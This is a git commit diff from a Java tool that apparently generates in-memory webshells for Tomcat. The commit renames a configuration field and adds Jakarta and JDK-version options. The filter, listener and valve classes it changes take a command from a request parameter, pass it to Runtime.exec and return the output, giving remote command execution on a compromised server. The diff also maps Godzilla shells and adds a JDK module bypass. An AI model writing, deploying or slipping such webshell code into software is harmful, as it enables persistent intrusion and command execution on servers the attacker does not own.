fix: command shell use paramName

This commit is contained in:
ReaJason
2024-12-02 01:08:22 +08:00
parent 2d6f523075
commit 7b9beeb8bb
8 changed files with 32 additions and 22 deletions
@@ -14,5 +14,5 @@ import lombok.experimental.SuperBuilder;
@ToString @ToString
public class CommandShellConfig extends ShellConfig { public class CommandShellConfig extends ShellConfig {
@Builder.Default @Builder.Default
private String headerName = "cmd"; private String paramName = "cmd";
} }
@@ -13,5 +13,5 @@ public enum ShellTool {
/** /**
* 命令回显 * 命令回显
*/ */
CMD COMMAND
} }
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memsell; package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor; import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation; import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall; import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.matcher.ElementMatchers; import net.bytebuddy.matcher.ElementMatchers;
/** /**
@@ -14,17 +17,23 @@ import net.bytebuddy.matcher.ElementMatchers;
*/ */
public class CommandGenerator { public class CommandGenerator {
public static byte[] generate(Class<?> commandClass, String commandClassName, String headerName) { public static byte[] generate(Class<?> commandClass, String commandClassName, String paramName, boolean useJakarta, int targetJdkVersion) {
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName)); .andThen(FieldAccessor.ofField("paramName").setsValue(paramName));
try (DynamicType.Unloaded<?> make = new ByteBuddy() DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(commandClass) .redefine(commandClass)
.name(commandClassName) .name(commandClassName)
.visit(TargetJDKVersionVisitorWrapper.DEFAULT) .visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
.constructor(ElementMatchers.any()) .constructor(ElementMatchers.any()).intercept(fieldSets);
.intercept(fieldSets) if (targetJdkVersion >= Opcodes.V9) {
.make()) { builder = ByPassJdkModuleInterceptor.extend(builder);
}
if (useJakarta) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes(); return make.getBytes();
} }
} }
} }
@@ -49,7 +49,6 @@ public class TomcatShell {
GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
// tomcat 无法同时引入两个版本的包
GODZILLA_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); GODZILLA_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
} }
@@ -64,6 +63,7 @@ public class TomcatShell {
COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
} }
@SneakyThrows @SneakyThrows
@@ -89,12 +89,12 @@ public class TomcatShell {
); );
break; break;
} }
case CMD: { case COMMAND: {
classPair = COMMAND_SHELL_MAP.get(shellType); classPair = COMMAND_SHELL_MAP.get(shellType);
CommandShellConfig commandConfig = (CommandShellConfig) shellConfig; CommandShellConfig commandConfig = (CommandShellConfig) shellConfig;
shellBytes = CommandGenerator.generate(classPair.getLeft(), shellBytes = CommandGenerator.generate(classPair.getLeft(),
commandConfig.getShellClassName(), commandConfig.getShellClassName(),
commandConfig.getHeaderName()); commandConfig.getParamName(), useJakarta, targetJdkVersion);
break; break;
} }
default: default:
@@ -11,7 +11,7 @@ import java.io.InputStream;
* @since 2024/11/24 * @since 2024/11/24
*/ */
public class CommandFilter implements Filter { public class CommandFilter implements Filter {
public String headerName; public String paramName;
@Override @Override
public void init(FilterConfig filterConfig) throws ServletException { public void init(FilterConfig filterConfig) throws ServletException {
@@ -22,7 +22,7 @@ public class CommandFilter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request; HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response; HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getHeader(headerName); String cmd = servletRequest.getParameter(paramName);
try { try {
if (cmd != null) { if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd); Process exec = Runtime.getRuntime().exec(cmd);
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason * @author ReaJason
*/ */
public class CommandListener implements ServletRequestListener { public class CommandListener implements ServletRequestListener {
public String headerName; public String paramName;
public CommandListener() { public CommandListener() {
} }
@@ -26,7 +26,7 @@ public class CommandListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent servletRequestEvent) { public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try { try {
String cmd = request.getHeader(headerName); String cmd = request.getParameter(paramName);
if (cmd != null) { if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request); HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd); Process exec = Runtime.getRuntime().exec(cmd);
@@ -15,7 +15,7 @@ import java.io.InputStream;
public class CommandValve implements Valve { public class CommandValve implements Valve {
protected Valve next; protected Valve next;
protected boolean asyncSupported; protected boolean asyncSupported;
public String headerName; public String paramName;
public CommandValve() { public CommandValve() {
} }
@@ -42,7 +42,7 @@ public class CommandValve implements Valve {
@Override @Override
public void invoke(Request request, Response response) throws IOException, ServletException { public void invoke(Request request, Response response) throws IOException, ServletException {
try { try {
String cmd = request.getHeader(headerName); String cmd = request.getParameter(paramName);
if (cmd != null) { if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd); Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream(); InputStream inputStream = exec.getInputStream();
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memsell.tomcat.command; package com.reajason.javaweb.memsell.tomcat.command;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.memsell.CommandGenerator; import com.reajason.javaweb.memsell.CommandGenerator;
import com.reajason.javaweb.util.ClassUtils; import com.reajason.javaweb.util.ClassUtils;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
@@ -16,11 +17,11 @@ class CommandFilterTest {
@Test @Test
void testGenerate() { void testGenerate() {
String className = "org.command.CommandFilter"; String className = "org.command.CommandFilter";
String headerName = "cmd"; String paramName = "cmd";
byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, headerName); byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, paramName, false, Constants.DEFAULT_VERSION);
Object obj = ClassUtils.newInstance(bytes); Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName()); assertEquals(className, obj.getClass().getName());
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); assertEquals(paramName, ClassUtils.getFieldValue(obj, "paramName"));
System.out.println(Base64.encodeBase64String(bytes)); System.out.println(Base64.encodeBase64String(bytes));
} }
} }